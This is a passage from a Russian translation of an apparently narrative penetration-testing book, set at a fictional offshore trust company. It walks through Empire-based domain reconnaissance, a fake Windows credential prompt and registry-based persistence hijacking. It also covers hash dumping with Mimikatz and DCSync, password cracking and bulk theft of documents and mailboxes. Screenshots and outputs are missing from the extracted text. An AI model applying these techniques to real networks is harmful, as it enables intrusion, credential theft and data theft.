Ошибка: система не смогла обнаружить указанный ключ реестра или
значение

Подводя итог, у нас есть машины с Windows 10 без каких-либо


наиболее существенных средств безопасности этого нового релиза.
Мама дорогая, сейчас будет больно!

Теперь мы можем безопасно нажать на кнопку немного


посильнее и приступить к разведке Active Directory по полной
программе. ​Empire хранит запись всех команд, выходных данных и
скачанных файлов в папке ​Empire/downloads/<​Имя_агента​>​,
поэтому я не поленюсь вставить полный результат ниже:

Мы тщательно анализируем список групп и пользователей, но


ничто не привлекает внимания. По всей видимости, нет группы
мониторинга безопасности или какой-либо общей команды
безопасности, если уж на то пошло. Мы находим стандартные
технические учетные записи (​backup​, ​activesync​, ​build master и

Перевод
@Ianuaria
skladchik.com
т.д.), но кажется, что ни одна из них не принадлежит и не
используется каким-либо продуктом безопасности.

Это не вызывает особого удивления, учитывая размеры


компании. Они не стали бы подписываться на Центр управления
безопасностью (SOC), чтобы покрыть пять файловых серверов,
двадцать рабочих станций и сервер Exchange, тем более
разворачивать мощные машины, чтобы ими управляла их
IT-поддержка, которая с трудом справляется с Windows-машинами и
принтерами.

Все офисы G&S Trust привязаны к одному домену Active


Directory. Этот домен управляется четырьмя глобальными
администраторами доменов:

Домен компании разделен на несколько организационных


подразделений (OU), в каждом из которых собраны пользователи и
машины из офисов отдельных географических локаций.

Перевод
@Ianuaria
skladchik.com
Подобным же образом, кажется, бизнес-группы разделены на
регионы:

Подобное тщательное разделение намекает на строгий


контроль, применяемый к объектам AD, вероятно в попытке
изолировать фиктивные компании из одного региона от прочих
офисов.

Охота за данными 

Все полученные маячки работают из отделов бухгалтерского


учета каждого регионального офиса, что и понятно, учитывая вектор
нашего вторжения.

Это означает, что теоретически у нас уже есть доступ ко всей


бухгалтерской информации, которая хранится в G&S Trust. Чтобы
нацелиться на компании, зарегистрированные в Гонконге, к
примеру, нам нужно лишь найти подходящего бухгалтера,
принадлежащего соответствующему OU. В данном случае, это
пользователь Yui.

Иногда сложно найти данные, поэтому нам нужно положиться


на трюки типа извлечения недавно использованных файлов,
которые хранятся в ключе реестра
“​HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\

Перевод
@Ianuaria
skladchik.com
ComDlg32\LastVisitedPidlMRU​”100, но здесь мы имеем дело с
контингентом пользователей, не особо разбирающихся в IT.

Быстрый взгляд на папки “Документы” и “Рабочий стол”


раскрывает карты:

При помощи команды ​download в ​Empire​, мы получаем


налоговую отчетность, расходы, документы по поездкам и другую
бухгалтерскую информацию, касающуюся 150 компаний,
зарегистрированных G&S Trust в Гонконге начиная с 2017 года.
Неплохо.

Но мы можем добиться большего.

100
Может пригодиться следующий скрипт:

https://gallery.technet.microsoft.com/scriptcenter/Get-DecodeMRU-6ed5963f

Перевод
@Ianuaria
skladchik.com
Yui хранит локальные копии лишь своей последней работы;
прочие файлы, должно быть, размещены на сетевом ресурсе где-то
в гонконгском офисе. Мы выводим список общих ресурсов,
примонтированных в данный момент к рабочей станции Yui, для
этого вызываем команду ​net use​:

В яблочко! Теперь у нас есть бухгалтерская информация


вплоть до 2005 года! Гораздо интереснее.

Мы используем такой же подход для установления


местонахождения бухгалтерской информации, относящейся к
четырем другим локациям: Кипр, Сейшелы, Сингапур и Мальта.

Бухгалтерские данные дают нам множество информации о


фиктивных компаниях, включая их чистую прибыль, источники
доходов, виды расходов, количество сотрудников, транзакции,
зарплаты и прочее, что уже может помочь в раскрытии пары
крупных корпораций, вовлеченных в теневые схемы уклонения от
налогов.

Перевод
@Ianuaria
skladchik.com
При том, что эта информация представляет определенный
интерес, потребуется несколько месяцев, чтобы распарсить ее, так
чтобы мы смогли точно установить схемы хищений и прочие мутные
делишки.

Более того, нам по-прежнему не хватает некоторых критически


важных элементов, например, реальных личностей людей, стоящих
за этими компаниями. Кто конечные бенефициары, скрывающиеся
за подставными лицами, управляющими этими компаниями? Это
самый главный секрет, тщательно хранимый G&S Trust Corp.

В попытке найти эту информацию, мы выводим список всех


общих ресурсов в сети, используя модуль ​Empire share_finder​.
Может быть, как и в случае с бухгалтерией, в юридическом отделе
где-то хранятся идентификационные данные и сертификаты на
акции:

Перевод
@Ianuaria
skladchik.com
Учетная запись Yui получает отказ в доступе ко всем
остальным папкам (юридический отдел, HR, правление (ExCom) и
так далее), за исключением папки бухгалтерии на локальном
сервере в Гонконге. Требуемая для их бизнеса надежная
конфиденциальность вынудила их как минимум внедрить строгие
правила доступа, чтобы противодействовать утечкам данных.
Вполне резонно.

Требуется определенная эскалация привилегий!

Мы просматриваем 20 различных интерактивных сеансов,


которые у нас есть на текущий момент, но ни один из них не имеет
привилегий локального или глобального администратора.
Продолжаем исследовать, ищем другие доменные учетные записи с
атрибутом ​admincount​выше, чем “​1​” в Active Directory:

Перевод
@Ianuaria
skladchik.com
Практически все администраторские учетные записи следуют
одинаковому соглашению о наименованиях: “​admin.username​”. И
если вы внимательно следили, то могли заметить, что у одного из
наших бухгалтеров на Кипре имеется еще и учетная запись
администратора: ​admin.sarah​!

Есть шанс, что она использует такой же пароль для своей


стандартной учетной записи, но поскольку нам и это неизвестно, мы
зашли в тупик.

Можно придумать с десяток способов для получения пароля,


от кейлоггинга до просмотра ее личных файлов и папок, в конце
концов, у нас есть рабочий шелл на ее рабочей станции.

Однако, самым быстрым способом будет заполучить


административную оболочку на ее компьютере, мы можем вежливо
попросить саму Сару об этом при помощи модуля ​ privesc/ask​.
Этот модуль отобразит знакомое диалоговое окно Windows, в
котором попросит учетные данные с повышенными привилегиями.
Обычно люди спешат вернуться обратно к просмотру роликов на
YouTube или движухе на Facebook, поэтому любезно соглашаются,
не задавая лишних вопросов:

Перевод
@Ianuaria
skladchik.com
Е, бой! Новый сеанс администратора отзванивает домой:

Вот теперь совсем другое дело!

Перед тем, как двигаться дальше, давайте остановимся


ненадолго и поговорим об устойчивости. С технической точки
зрения, если в наличии есть восемь шеллов по всему миру, то
можно считать это формой слабого закрепления.

Однако, теперь, когда у нас есть привилегии администратора


на компьютере Сары, почему бы не придумать более надежный
способ закрепления, который выжил бы после перезагрузки и
защитил бы наши администраторские привилегии над машиной,
независимо от того, что происходит с сетевым узлом?

Есть много доступных техник, от регистрации WMI-событий до


создания служб и ключей реестра в автозапуске. Программа Марка
Руссиновича ​autorunsc содержит, возможно, единственный
наиболее полный список мест для сокрытия нашего пейлоада.101

101
Потрясающая презентация на DerbyCon: ​
https://github.com/huntresslabs/evading-autoruns

Перевод
@Ianuaria
skladchik.com
В нашем конкретном сценарии мы выберем простую, но
изящную технику под названием Extension Search Order Hijacking
(угон очередности поиска расширений). Смотрите, на
Windows-машине, к примеру, при выполнении “​calc​” из
интерпретатора командной строки, система будет сначала искать
“​cmd.com​”. Только если она не сможет найти его, она затем ищет и
исполняет “​ cmd.exe​”.

Это значит, что если мы разместим фейковый “​ calc.com​” в


директорию ​C:\Windows\System32​, то мы будем успешно угонять
большую часть вызовов реального калькулятора, до тех пор, пока
пользователь или программа выполняет “​ calc​” без указания
расширения.

Чтобы воспользоваться этим свойством для достижения


устойчивости, нам нужно найти действующий исполняемый файл,
установленный на запуск при включении системы, затем просто
стереть его расширение. Мы можем поискать подходящего
кандидата в стандартном ключе раздела реестра ​RUN​
:

Много рыбы в море! Мы стираем расширение “​.exe​” у


программы ​AGCInvokerUtility​, используя команду ​reg add​:

Перевод
@Ianuaria
skladchik.com
Для завершения схемы с закреплением, мы просто помещаем
нормальный исполняемый файл с таким же именем, но имеющий
.COM​” (​AGCInvokerUtility.COM​), в ту же самую папку,
расширение “​
и теперь мы можем быть уверены, что он будет успешно вызван в
следующий раз на старте системы. Здорово, правда?

Нашим исполняемым файлом, по сути, может быть тот же


самый фрагмент кода на C#, который мы включили в Strat
Accounting; небольшой stager из дюжины строк кода, который
загружает закодированный PowerShell-скрипт, затем выполняет его
на машине (сэмпл скрипта на Github:
https://github.com/HackLikeAPornstar/StratJumbo/blob/master/chap3/ps
_backdoor.cs​ ).

Как только мы скомпилируем файл, переименовываем его в


AGCInvokerUtility.COM​” и помещаем в папку “​C:\Program Files
“​
(x86)\Common Files\Adobe\AdobeGCClient\​”.

Чтобы получше замаскировать его, мы изменяем его MAC


(время модификации, доступа и создания), чтобы еще больше
запутать следы.

Перевод
@Ianuaria
skladchik.com
Теперь, когда у нас есть надежная схема закрепления под
администратором, давайте вернемся к делу.

Используя учетную запись администратора Сары, мы пробуем


подключиться к серверам G&S Trust во всех пяти регионах, но
кажется, ее привилегии ограничены только ее рабочей станцией,
что ожидаемо для обычного бухгалтера, которому, вероятно,
потребовались временные администраторские права для
использования или установки какого-либо инструмента.

Не о чем волноваться - у нас по-прежнему имеется много


стрел в колчане.

Если ненадолго задуматься об этом, Windows хранит


удивительно большое количество паролей, рассеянных по четырем
углам операционной системы. Практически любой хакер знаком с
базой данных ​SAM​, хранящей хеши паролей локальных учетных
записей, и с процессом ​LSASS​, который хранит хеши или пароли
последних подключенных пользователей. Однако, есть и менее
SECURITY​.
известные места: Windows Vault и куст реестра ​

Сторонние приложения (Internet Explorer, Outlook, Wi-Fi...)


могут использовать Windows Vault для хранения пользовательских
учетных данных в зашифрованном и безопасном виде. Несмотря на
то, что это хранилище интересно в некоторых узких сценариях,
когда основной целью является сбор данных определенных
приложений, оно мало пригодится нам в целях получения доступа к
другим серверам.

Перевод
@Ianuaria
skladchik.com
Куст реестра ​
SECURITY напротив, гораздо более любопытная
цель. Этот файл (привязанный к ключу реестра ​HKLM\SECURITY​)
сохраняет NTLM-хеши пользователей домена, которые открывают
интерактивные сеансы на машине.102

Хорошо; если администратор IT-поддержки удаленно


подключался к компьютеру Сары за последнюю неделю, его
NTLM-хеш по-прежнему хранится там, при условии, что доменная
политика кеширования настроена соответствующим образом (10
дней в случае с G&S Trust):

Mimikatz может добыть все эти пароли, так что мы просто


вызываем выполнение в памяти модуля ​lsadump для получения
паролей, хранящихся в кусте ​SECURITY​:

102
Эти хеши зашифрованы при помощи секретного ключа, хранящегося в ветке реестра
SYSTEM. Чтобы снять ее дамп локально, мы можем использовать secretdumps.py из
инструментов Impacket и загрузить в него файлы SYSTEM и SECURITY:

https://github.com/CoreSecurity/impacket/blob/master/examples/secretsdump.py

Перевод
@Ianuaria
skladchik.com
Бинго! Теперь вопросом на миллион становится: обладает ли
admin.joey повышенными привилегиями на любом сервере?
Учетная запись является членом группы “​GS Server Maintenance​”
(обслуживание серверов), так что это должен быть администратор
как минимум на одном или двух серверах.

Самый быстрый способ узнать это - запустить новый агент


Empire и протестировать самостоятельно. Для этой цели мы
используем модуль ​invoke_wmi и нацеливаемся на единственный
сервер, который хостится в OU Кипра (то же самое подразделение,
которое содержит учетную запись Сары) ​GS-CS-01​:

Перевод
@Ianuaria
skladchik.com
Как и ожидалось, ​admin.joey действительно обладает
привилегиями администратора на этой машине и скорее всего, на
всех других серверах, поскольку группа “​GS Server Maintenance​”
является частью группы локальных администраторов:

Интересно, что применено столь строгое региональное


разграничение доступа по типу организаций, но оно не
реплицировано для доступа IT-администраторов. Но опять же, они,
вероятно, не позаботились об обеспечении локальной IT-командой
каждого офиса.

Мы порождаем новый агент на этом же сервере, чтобы


получить сеанс с повышенными правами (модуль ​bypassuac​), затем
запускаем ​Mimikatz​для извлечения паролей103:

103
Мы всегда может настроить ключ реестра WDigest, затем вернуться обратно через
несколько дней и перезапустить Mimikatz для получения паролей в открытом тексте.

Перевод
@Ianuaria
skladchik.com
По воле случая, ​admin.gloria принадлежит группе
администраторов домена:

На данном этапе мы могли бы практически закричать


“победа!”, но когда мы получили наш первый шелл, то уже
понимали, что взломать G&S Trust - дело лишь нескольких часов.

Редко когда нишевые компании думают о чем-либо другом,


кроме своего бизнеса и перспектив развития, поэтому как только мы
оказываемся внутри, игра закончена. Как уже говорилось ранее, кто
готов платить за полностью выделенную команду, чтобы
мониторить десяток серверов и двадцать рабочих станций? В
любом случае, теперь, когда официальная часть “проникновения”
завершена, мы можем наконец сфокусироваться на том, что имеет
наибольшее значение: данные.

Перевод
@Ianuaria
skladchik.com
Джекпот 

Используя учетную запись администратора домена


(​admin.gloria​), мы порождаем новый агент с повышенными
правами на кипрском сервере ​GS-CS-01​. Мы могли бы
имплантировать еще один бинарник обратной оболочки, используя
ту же самую схему закрепления, что и ранее, просто чтобы
обезопасить себя, и на тот случай, если мы потеряем
администраторский доступ на компьютере Сары.

В принципе, это плоская сеть, так что мы можем достичь


любой системы в любой из пяти географических локаций с этого
единственного сервера. Мы возвращаемся обратно к результатам
Invoke-Share и начинаем просматривать все другие общие
ресурсы, которые были ранее недоступны для учетной записи
Сары:

Мы получаем жирные бонусы партнеров, зарплаты


сотрудников, результаты проверок и различные персональные
данные, но все это не то, за чем мы в действительности пришли.
Мы изучаем пару других общих папок, поглощая каждый документ,
который только можем, от совещаний по бюджету до праздничных
фотографий членов правления.

Чем усиленнее мы ищем, тем больше убеждаемся в том, что


нет никакой “волшебной” папки, в которой хранится список

Перевод
@Ianuaria
skladchik.com
корпораций и их прямых бенефициаров. В этом нет никакого
смысла.

Все офшорные компании обязаны выполнять типовые


правила “Знай своего клиента” (KYC), например, запрашивать
идентификационные данные и доказательство адреса. Данные
должны быть где-то здесь, мы просто не можем их найти.

Давайте испытаем удачу и посмотрим на входящую


электронную почту. На приличном количестве рабочих станций
открыты SMB-порты (используем модуль ​network/portscan в
Empire​), так что вопрос лишь в том, чтобы скачать их файловый
кеш Outlook (файл ​OST​) на наш C2-сервер:

Эти руководители высокого ранга выполняют 90% своей


работы со своих iPhone и планшетов, поэтому можете себе
представить количество информации, которой они обмениваются
внутренне, от сканов паспортов до налоговых деклараций и
сертификатов на акции, а также многими другими критичными
документами. Мы подгружаем файл ​OST в стандартную программу
Outlook и скачиваем любые интересные файлы из вложений:

Перевод
@Ianuaria
skladchik.com
Можете, пожалуйста, перенаправить этот сертификат на акции в
адрес…?

Здесь сырые данные, хотя обработка этих гигабайтов данных


(входящие письма электронной почты, вложения, PDF, файлы Excel
и docx из общих ресурсов), чтобы составить полную картину,
займет, вне всяких сомнений, определенной хардкорной
исследовательской работы.

Тысячи этих электронных писем помогают нам развеять


последнюю стену тумана, окружающую G&S Trust. Самая
популярная локация, в которой они хранят все критичные
документы, связанные с их офшорными корпорациями, на деле
является виртуальной комнатой данных, которая хостится
сторонней компанией, это некая разновидность защищенного
хранилища, часто используемого юридическими отделами в
процессе сделок слияния и поглощения и других критически важных
операций:

Re: Пора залить документы Шелии, как считаешь?

Перевод
@Ianuaria
skladchik.com
Привет,
Готово.

Майк Росс
Консультант по правовым вопросам

Исходя из электронного письма, мы узнаем, что как минимум у


Майка и Харви имеется доступ к этому веб-приложению, и есть
шанс, что они используют для него свои пароли Windows, поэтому
давайте для начала получим их при помощи функции ​DCSync в
Mimikatz​, которая олицетворяет контроллер домена с целью
извлечения хешей паролей:

Мы можем взломать этот NTLM-хеш, используя наш


легендарный риг для взлома паролей. Взлом NTLM осуществляется

Перевод
@Ianuaria
skladchik.com
в более, чем 150 раз быстрее, чем взлом алгоритма Kerberos eType
23, это означает, что мы можем добиться 65 млн. хешей в секунду
на нашем скромном инстансе P2x8 AWS.

Всего через несколько минут мы устанавливаем пароль Харви:


Armani0​! Теперь мы можем наконец получить доступ к виртуальной
комнате данных, используемой в G&S Trust:

**Примечание** 

Даже если, каким-то чудом, мы не смогли бы добраться до


пароля в открытом тексте, мы всегда можем имплантировать
кейлоггер на компьютер Харви, выгрузить сохраненные пароли из
Firefox104, извлечь учетные данные, сохраненные в Windows Vault105,
либо исследовать личные документы на его рабочей станции, и так
далее. Как только мы становимся администраторами домена,
практически все учетные записи начинают падать, как листья
холодной ноябрьской ночью.

**** 

104
​https://github.com/unode/firefox_decrypt

105
​https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials

Перевод
@Ianuaria
skladchik.com
Бинго! Наконец, после множества недель сражений, мы
достигаем священного Грааля, красиво выложенного сотнями
подпапок, в каждой из которых содержатся идентификационные
данные паспортов, сертификаты на акции, дивиденды, права
собственности и так далее.

Теперь дело за малым - скачать эти гигабайты данных и


перенаправить информацию в ICIJ (Международный консорциум
журналистских расследований)... либо тому, кто готов заплатить
больше.

Перевод
@Ianuaria
skladchik.com
Итоги

Основная цель этой книги, которую, надеюсь, я смог


убедительно донести на протяжении этих страниц, - обучить вас
безусловному рефлексу задавать вопросы не только по поводу
того, какие механизмы защиты установлены, но и какие размещены
сторожевые программы. Какие события отслеживаются? Как они
отслеживаются? Может ли компания обнаружить несоответствия в
своем сетевом трафике? Что насчет активности системы? Я
надеюсь, что эти вопросы вы будете задавать себе в дальнейшем.

Данные параметры обеспечат надежными индикаторами того,


насколько “громко” вы можете вести себя в целевой сети. Затем вы
сможете определиться с набором техник и инструментов для
использования. В конечном счете, слив данных или получение
учетных записей администраторов доменов - это не настоящая
победа, если вас обнаружат неделей позже по причине открытого,
массированного запуска в памяти ​Mimikatz​на 150 серверах.

Очевидно, что в этой книге я в основном сфокусировался на


продуктах от Microsoft (ATA и ATP), потому что я по-настоящему
ценю усилия и мысли, которые они вложили в них. И в отличие от
многих других вендоров, они не (настолько) полны дерьма. В
реальной жизни, однако, вы можете столкнуться с как минимум
десятком других next-gen инструментов, но надеюсь, я поделился с
вами достаточным количество идей для тестирования в тех
ситуациях, когда вы подозреваете о работе инструментов
подобного типа в сети компании.

Как и всегда, желаю хорошо повеселиться, нагибая мир!106

https://hacklikeapornstar.com

106
Разумеется, в рамках закона ;-)

Перевод
@Ianuaria
skladchik.com

Вам также может понравиться